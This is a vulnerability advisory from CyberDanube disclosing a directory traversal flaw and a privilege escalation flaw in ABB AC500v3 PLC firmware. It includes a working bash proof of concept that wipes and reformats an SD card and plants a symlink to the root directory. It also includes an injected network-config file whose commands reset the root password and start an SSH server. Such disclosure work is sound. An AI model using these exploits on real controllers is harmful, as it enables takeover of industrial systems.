ABB AC500v3 3.7.0.569 Directory Traversal / Privilege Escalation Exploit

-------------------------------------------------------------------------------
                title| Multiple Vulnerabilities in ABB AC500v3
              product| ABB AC500v3
   vulnerable version| <=3.7.0.569
        fixed version| 3.8.0
           CVE number| CVE-2024-12429, CVE-2024-12430
               impact| High
             homepage| https://global.abb
                found| 2024-09-03
                   by| D. Blagojevic, S. Dietz, T. Weber
                     | CyberDanube Security Research
                     | Austria - Vienna
                     | https://www.cyberdanube.com
                     |
                     | This work received funding from the Austrian Research
                     | Promotion Agency (FFG) in course of the KIRAS project
                     | TestCat (FO999911248) and was supported by AIT Austrian
                     | Institute of Technology.
-------------------------------------------------------------------------------

Vendor description
-------------------------------------------------------------------------------
"ABB is a technology leader in electrification and automation, enabling a more
sustainable and resource-efficient future. The company?s solutions connect
engineering know-how and software to optimize how things are manufactured,
moved, powered and operated. Building on more than 140 years of excellence,
ABB?s 105,000 employees are committed to driving innovations that accelerate
industrial transformation."

Source: https://global.abb/group/en/about/


Vulnerable versions
-------------------------------------------------------------------------------
AC500v3 / <= 3.7.0.569


Vulnerability overview
-------------------------------------------------------------------------------
1) Directory Traversal via Symlink (CVE-2024-12429)
A directory traversal vulnerability was identified in the file-explorer
functionality of the device. An attacker can use this vulnerability to read
system-wide files and configuration as user "system".

2) Privilege Escalation (CVE-2024-12430)
A file which gets executed as "root" is owned by "system". An attacker
can abuse this by injecting arbitrary commands.


Proof of Concept
-------------------------------------------------------------------------------
1) Directory Traversal via Symlink (CVE-2024-12429)
When formatting a sd card to ext4 and creating a symlink to "/", an attacker
can access system critical files via the automation builder file-explorer.
-------------------------------------------------------------------------------
#!/bin/bash

# CyberDanube 2024 <S. Dietz>
# abb ac500 symlink exploit

if [ -z "$1" ]; then
  echo "usage: ./abb_ac500_symlink.sh /dev/sdX"
  exit 1
fi

if [ "$(id -u)" -ne "0" ]; then
    echo "This script must be run as root or with sudo."
    exit 1
fi

DISK="$1"
PART="${DISK}1"
MOUNT_POINT="/mnt/sdcard"
SYMLINK_TARGET="/"
SYMLINK_NAME="pwned"

umount ${DISK}* 2>/dev/null

# Delete all existing partitions on the disk
(
echo o
echo w
) | fdisk "$DISK"

# Create a new partition on /dev/sda
(
echo n
echo p
echo 1
echo
echo
echo w
) | fdisk "$DISK"

partprobe "$DISK"

mkfs.ext4 -F "${PART}"
mkdir -p ${MOUNT_POINT}
mount ${PART} ${MOUNT_POINT}
ln -s ${SYMLINK_TARGET} ${MOUNT_POINT}/${SYMLINK_NAME}
ls -l ${MOUNT_POINT}
umount ${MOUNT_POINT}
echo "Done."
-------------------------------------------------------------------------------

2) Privilege Escalation (CVE-2024-12430)
The file /mnt/sysdata/netconfig/ifs/ETH1 is writable by the user "system". This
file configures the network interface during boot as user "root". An attacker
can modify this file by using 1) and inject arbitrary commands. Our poc changes
the root password and starts dropbear.
-------------------------------------------------------------------------------
auto ETH1
iface ETH1 inet static
    address 192.168.19.123
    netmask 255.255.255.0
    post-up ip route add 192.168.19.0/24 dev ETH1 table ETH1
    post-up ip rule add from 192.168.19.123/32 table ETH1 priority 100
    post-up ip rule add from 0.0.0.0/32 to 192.168.19.0/24 dev ETH1 table ETH1
    post-up ip route add default via 192.168.19.254 table ETH1
    post-up ip route add default via 192.168.19.254 dev ETH1 metric 0
    post-up echo 'root:password' | chpasswd
    post-up /etc/init.d/dropbear start
-------------------------------------------------------------------------------


Solution
-------------------------------------------------------------------------------
Update to the latest firmware


Workaround
-------------------------------------------------------------------------------
None


Recommendation
-------------------------------------------------------------------------------
Update to the latest firmware. See recommendations in the ABB Cyber Security
Advisory for further information:
https://search.abb.com/library/Download.aspx?DocumentID=3ADR011377&LanguageCode=en&DocumentPartId=&Action=Launch